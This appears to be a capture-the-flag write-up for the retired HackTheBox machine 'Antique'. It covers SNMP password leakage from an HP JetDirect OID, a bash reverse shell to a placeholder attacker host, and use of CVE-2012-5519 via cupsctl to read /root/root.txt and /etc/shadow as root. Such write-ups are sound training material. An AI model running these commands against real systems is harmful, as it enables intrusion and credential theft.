~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / antique.md

antique

Linux · Easy · released 2021-09-27 · retired 2022-05-07

Summary

Antique is a Linux Easy that teaches two underappreciated attack surfaces: SNMP as a credential store and CUPS ErrorLog as an arbitrary file read primitive. The box simulates an HP JetDirect network printer. SNMP on UDP 161 (community string public) exposes the JetDirect admin password as a hex-encoded BITS value in a well-known OID. Decoding the hex gives the password for the TCP/23 service, which is not real Telnet but an HP JetDirect shell emulator. That shell has an exec command that passes arguments directly to the OS, giving a shell as lp. The lp user belongs to lpadmin, which can reconfigure CUPS via cupsctl. CUPS 1.6.1 running as root on localhost is vulnerable to CVE-2012-5519: setting ErrorLog to any file path causes CUPS to serve that file through its web interface, achieving arbitrary file read as root.

Kill-chain: nmap -sU finds SNMP on UDP/161 → snmpwalk with community public + HP JetDirect OID .1.3.6.1.4.1.11.2.3.9.1.1.13.0 → hex bytes decode to admin password → Telnet port 23 JetDirect shell → exec bash -c '...' reverse shell → lp → CUPS 1.6.1 localhost on port 631 → cupsctl ErrorLog=/root/root.txt + curl 127.0.0.1:631/admin/log/error_log → root flag.

Source attribution

Recon

TCP scan:

nmap -p- --min-rate 10000 -oA nmap/alltcp <TARGET>
nmap -sCV -p 23 -oA nmap/scripts <TARGET>
23/tcp  open  telnet?
| fingerprint-strings:
|   NULL: JetDirect
|   [most probes]: JetDirect Password:

Only port 23 open. The banner JetDirect identifies this as an HP JetDirect printer management interface, not a standard Telnet service.

UDP scan (essential — TCP alone misses the entry point):

sudo nmap -sU --top-ports 10 -sV <TARGET>
161/udp  open  snmp  SNMPv1 server (public)

SNMP is open with the default public community string.

SNMP enumeration — JetDirect password OID

Broad walk confirms the device identity:

snmpwalk -v 2c -c public <TARGET>
# → iso.3.6.1.2.1 = STRING: "HTB Printer"

HP JetDirect devices store the Telnet admin password at a well-known enterprise OID:

snmpwalk -v 2c -c public <TARGET> .1.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32
33 21 21 31 32 33 1 3 9 17 18 ...

The value is returned as a BITS type (hex-encoded bytes). Decode the leading printable-ASCII portion in Python:

data = "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33"
''.join([chr(int(x, 16)) for x in data.split()])

The decoded string is the JetDirect admin password. The trailing non-printable bytes are padding artefacts from the SNMP implementation.

Foothold — HP JetDirect exec backdoor

telnet <TARGET>
HP JetDirect

Password: <decoded password>

Please type "?" for HELP
> 

The ? command lists available operations. The exec command passes its arguments to the OS shell:

> exec id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)

Trigger a reverse shell:

# Attack machine listener
nc -lvnp 443
> exec bash -c 'bash -i >& /dev/tcp/<ATTACKER>/443 0>&1'
lp@antique:~$ id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)

user.txt is at /home/lp/user.txt.

Privilege escalation — CVE-2012-5519 (CUPS ErrorLog arbitrary file read)

Enumerate local services:

netstat -tnlp
tcp  0  0  0.0.0.0:23      0.0.0.0:*  LISTEN  -
tcp  0  0  127.0.0.1:631   0.0.0.0:*  LISTEN  -

CUPS is listening on 127.0.0.1:631. Identify the version:

curl -s http://127.0.0.1:631/ | grep -i cups
# → CUPS 1.6.1

CUPS 1.6.1 is vulnerable to CVE-2012-5519. The cupsd daemon runs as root and serves an administrative HTTP interface. The cupsctl utility allows members of the lpadmin group to set configuration parameters including ErrorLog — the path to the file CUPS writes error log entries to. When this path is changed to an arbitrary file, CUPS serves that file’s contents at /admin/log/error_log on its web interface. Since cupsd reads the file as root, this is an arbitrary file read as root.

# Point ErrorLog at root.txt
cupsctl ErrorLog=/root/root.txt

# Retrieve via CUPS web interface
curl http://127.0.0.1:631/admin/log/error_log?

The root flag is returned in the response body.

The same primitive reads any file:

cupsctl ErrorLog=/etc/shadow
curl http://127.0.0.1:631/admin/log/error_log?

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗